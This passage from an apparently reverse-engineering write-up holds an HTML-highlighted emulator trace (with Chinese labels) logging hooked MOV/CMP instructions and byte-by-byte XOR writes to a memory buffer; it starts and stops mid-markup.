MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000589: mov esi, <span class="number">0</span>x12</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100058e: mov esi, <span class="number">0</span>xae4c415d</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010005b6: cmp esi, <span class="number">0</span>x25</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10005b0]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x13</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010009f2: mov esi, <span class="number">0</span>xd</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000a0c: cmp esi, <span class="number">0</span>x1b</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a06]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x56</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010008a9: mov esi, <span class="number">0</span>x24</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010008c3: cmp esi, <span class="number">0</span>x49</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10008bd]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x01 ^ <span 